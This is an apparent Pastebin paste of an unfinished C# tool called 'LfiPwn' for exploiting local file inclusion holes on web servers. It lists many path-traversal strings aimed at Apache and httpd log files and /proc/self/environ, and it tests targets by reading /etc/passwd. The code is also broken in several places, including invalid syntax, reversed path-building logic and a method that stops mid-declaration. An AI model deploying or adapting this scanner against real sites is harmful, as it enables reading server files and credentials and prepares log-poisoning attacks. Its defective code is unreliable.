Advertisement
Guest User

Untitled

a guest
Aug 17th, 2017
54
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 2.61 KB | None | 0 0
  1. class LfiPwn {
  2.   string[] logs = new string[]{@"../apache/logs/error.log",
  3.                                @"../apache/logs/access.log",
  4.                            @"../../apache/logs/error.log",
  5.                            @"../../apache/logs/access.log",
  6.                            @"../../../apache/logs/error.log",
  7.                            @"../../../apache/logs/access.log",
  8.                            @"../../../../../../../etc/httpd/logs/acces_log",
  9.                            @"../../../../../../../etc/httpd/logs/acces.log",
  10.                            @"../../../../../../../etc/httpd/logs/error_log",
  11.                            @"../../../../../../../etc/httpd/logs/error.log",
  12.                            @"../../../../../../../var/www/logs/access_log",
  13.                            @"../../../../../../../var/www/logs/access.log",
  14.                            @"../../../../../../../usr/local/apache/logs/access_log",
  15.                            @"../../../../../../../usr/local/apache/logs/access.log",
  16.                            @"../../../../../../../var/log/apache/access_log",
  17.                            @"../../../../../../../var/log/apache2/access_log",
  18.                            @"../../../../../../../var/log/apache/access.log",
  19.                            @"../../../../../../../var/log/apache2/access.log",
  20.                            @"../../../../../../../var/log/access_log",
  21.                            @"../../../../../../../var/log/access.log",
  22.                            @"../../../../../../../var/www/logs/error_log",
  23.                            @"../../../../../../../var/www/logs/error.log",
  24.                            @"../../../../../../../usr/local/apache/logs/error_log",
  25.                            @"../../../../../../../usr/local/apache/logs/error.log",
  26.                            @"../../../../../../../var/log/apache/error_log",
  27.                            @"../../../../../../../var/log/apache2/error_log",
  28.                            @"../../../../../../../var/log/apache/error.log",
  29.                            @"../../../../../../../var/log/apache2/error.log",
  30.                            @"../../../../../../../var/log/error_log",
  31.                            @"../../../../../../../var/log/error.log"}
  32.   string environ = @"/proc/self/environ";
  33.   public string trace_back(string lfi, int times) {
  34.      string t = "";
  35.      for(int i = 0; i < times; i++) {
  36.         t += "../";
  37.      }
  38.      return lfi+t;
  39.   }
  40.   public bool is_vuln(string site) {
  41.     if(!site.IndexOf("/etc/passwd") <= 0) return false;
  42.     int max_depth = 10;
  43.     for(int i = 0; i < max_depth; i++) {
  44.       if(get_page(trace_back(site, i)).IndexOf("root:x:0") > 0) {
  45.         return true;
  46.       }
  47.     }
  48.   public bool
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement